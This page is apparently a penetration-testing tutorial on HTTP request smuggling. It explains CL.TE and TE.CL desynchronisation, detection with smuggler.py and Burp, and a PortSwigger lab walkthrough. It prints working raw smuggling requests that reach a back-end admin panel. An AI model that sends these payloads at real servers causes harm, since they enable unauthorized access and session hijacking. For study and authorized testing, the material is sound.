HTTP request smuggling

Theory

HTTP request smuggling takes advantage of discrepancies in parsing non-RFC compliant HTTP requests through two HTTP devices (i.e. a back-end server and a HTTP-aware firewall or front-end proxy). The HTTP request smuggling process is performed by constructing multiple customized HTTP requests. This allows two target entities to see two different sets of requests.

In fact, users send requests to a front-end server that will forward them to a back-end server. Therefore, requests are sent one after another, and the receiving server parses the HTTP request headers to determine where one request ends and the next one begins. In this case, the front-end and the back-end need to agree about the boundaries between requests. Otherwise an attacker might be able to send an ambiguous request.

HTTP request smuggling process (based on detectify's diagram)

HTTP request smuggling happens because the HTTP specification provides two different ways to specify where a request ends:

• the Content-Length header: the length of the message body is specified in bytes (\r\n included).
• and the Transfer-Encoding header: the length of chunk in bytes (hexadecimal encoding, \r\n included)

HTTP request smuggling vulnerability occurs when an attacker sends both headers in a single request. This can cause either the front-end or the back-end server to incorrectly interpret the request, passing through a malicious HTTP query.

Performing a request smuggling attack can lead to :

• Gain access to protected resources, such as admin consoles, or sensitive data
• Hijack sessions of web users, as well as credentials
• Conduct cross-site scripting (XSS) attacks without requiring any action from the user

Content-Length.Transfer-Encoding (CL.TE)

In CL.TE RS (Request Smuggling) the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can craft the follow HTTP request :

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
 
0
MALICIOUS-REQUEST

Further explanation will be given in the practice part.

Practice

In order to identify if the target is vulnerable to HTTP request smuggling, testers need to answer the following questions:

• Is there a front-end and a back-end ?
• Are they are using CL.TE or TE.CL or TE.TE ? This can be answered using Burp, smuggler.py or manually in a "die and retry" manner.
• If HTTP/2 is used, can the session be downgraded it to perform H2.CL or H2.TE ? http2smugl (Python) can be used to detect this, with the http2smugl detect $URL command
• Can differentials responses be triggered when a request is smuggled and sent multiple times ?
• Can timing delays be triggered in responses when a request is smuggled and sent multiple times?

The last two questions can be answered by conducting the tests explained below.

One way to identify Request Smuggling is the time delay after sending this CL.TE request (this technique can also be used for TE.CL) for example :

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

In this request, the front end uses the Content-Length header, so it will forward 4 bytes of this request, omitting the X. The back-end, using the Transfer-Encoding header, will processes the first chunk and waits for the next, this will cause a huge time delay.

Using smuggler.py

Tools like smuggler.py (Python) can be used to identify potential HTTP request smuggling vulnerabilities.

# for a single host
smuggler.py -u $URL

# for a list of hosts
cat list_of_hosts.txt | python3 smuggler.py

screenshot example of smuggler.py

Using Burp Suite

The HTTP Request Smuggler extension on the BApp Store is used in the following example.

The scan option can be used to

• scan for possible HTTP Request Smuggling
• or launch an "auto smuggle" with Smuggle Prob option (Burp Suite Collaborator is required to do that)

If Smuggle Prob didn't manage to exploit HTTP Request Smuggling but identified it, or if manual request smuggling operations were started in the repeater tab:

• Use the turbo intruder -> right click on the request -> Extensions -> HTTP Request Smuggler -> Smuggle Attack (CL.TE or TE.CL, depending on what the manual operations or Smuggle Prob identified)

In the screenshot below, a CL.TE Request Smuggling type was identified. Access to the admin panel is attempted. The prefix was changed. The prefix will be the "smuggle" part of the request.

The turbo intruder helps by finding the right Content-length header to smuggle the attack properly (n.b. this part is always tricky to perform).

Admin panel was accessed properly.

Scenario example: TE.CL exploit on PortSwigger Lab

Goal here is to access the admin panel

The following is the initial request that will be modified for request smuggling attacks.

GET / HTTP/1.1
Host: 0af2004803e19d8dc040db3100680078.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Identify the vulnerability

In order to identify the vulnerability, multiple solutions are possible

• HTTP Request Smuggler Extension
• Manual requesting with "differential responses" or "timings techniques"
• With smuggler.py

Smuggle the request

An attempt to smuggle the request is made by changing the GET to POST and adding Transfer-Encoding and Content-Length Header. In Burp, the option "update content length" must be unchecked, and \r\n\r\n must be added after the final 0 for the TE.CL request smuggling.

POST / HTTP/1.1
Host: 0af2004803e19d8dc040db3100680078.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Adding the Host header

A problem arises. the back-end blocks the request. In fact, in this case, the back-end needs the header Host: localhost for the second request. The byte's number needs to be changed accordingly. Using this request, access to the admin panel is obtained.

POST / HTTP/1.1
Host: 0af2004803e19d8dc040db3100680078.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked

71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Resources

https://github.com/gwen001/pentest-tools/blob/master/smuggler.py

https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646

https://blog.detectify.com/2020/05/28/hiding-in-plain-sight-http-request-smuggling

https://portswigger.net/web-security/request-smuggling/

https://www.imperva.com/learn/application-security/http-request-smuggling/